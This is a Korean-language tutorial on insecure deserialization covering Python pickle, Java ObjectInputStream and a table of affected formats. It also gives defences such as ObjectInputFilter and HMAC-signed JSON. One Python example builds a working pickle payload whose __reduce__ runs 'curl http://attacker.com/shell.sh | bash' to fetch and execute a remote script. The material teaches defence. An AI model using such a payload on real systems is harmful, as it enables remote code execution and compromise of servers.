안전하지 않은 역직렬화(Insecure Deserialization)는 신뢰할 수 없는 소스의 직렬화된 데이터를 검증 없이 역직렬화할 때 발생하는 취약점이다. OWASP Top 10에 포함되며, 원격 코드 실행(RCE), 권한 상승, 데이터 변조로 이어질 수 있다.
직렬화와 역직렬화
python
import pickle
# 직렬화: 객체 → 바이트
data = {"user": "admin", "role": "guest"}
serialized = pickle.dumps(data)
# b'\x80\x04\x95...'
# 역직렬화: 바이트 → 객체 (취약!)
deserialized = pickle.loads(user_input) # 사용자 입력 역직렬화 → 위험!
python
import pickle, os
class Exploit(object):
def __reduce__(self):
# __reduce__는 역직렬화 시 자동 호출됨
return (os.system, ('curl http://attacker.com/shell.sh | bash',))
payload = pickle.dumps(Exploit())
# 이 payload를 서버에 전송하면 역직렬화 시 명령 실행!
Java의 ObjectInputStream이 대표적 취약점. Apache Commons Collections 등 가젯 체인을 이용한다.
java
// 취약한 코드
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // 공격자 제공 데이터 역직렬화 → RCE
// 방어: ObjectInputFilter 사용 (Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"maxdepth=5;maxrefs=100;!org.apache.commons.collections.**"
);
ois.setObjectInputFilter(filter);
취약점 유형별 영향
| 언어/프레임워크 | 포맷 | 영향 |
|---|
| Python | pickle, shelve | RCE |
| Java | ObjectInputStream | RCE |
| PHP | unserialize() | RCE, 객체 주입 |
| Ruby | Marshal.load | RCE |
| Node.js | node-serialize | RCE |
방어 방법
- 1.역직렬화 금지: 신뢰할 수 없는 데이터에 pickle/ObjectInputStream 사용 금지
- 2.서명/무결성 검증: HMAC으로 직렬화 데이터 서명 후 역직렬화 전 검증
- 3.안전한 포맷 사용: JSON, MessagePack 등 데이터 전용 포맷 사용
- 4.샌드박스: 역직렬화를 격리된 환경에서 실행
python
import hmac, hashlib, json
SECRET = b'my-secret-key'
def serialize_safe(data: dict) -> str:
payload = json.dumps(data)
sig = hmac.new(SECRET, payload.encode(), hashlib.sha256).hexdigest()
return f"{payload}:{sig}"
def deserialize_safe(token: str) -> dict:
payload, sig = token.rsplit(':', 1)
expected = hmac.new(SECRET, payload.encode(), hashlib.sha256).hexdigest()
if not hmac.compare_digest(sig, expected):
raise ValueError("무결성 검증 실패")
return json.loads(payload)
관련 개념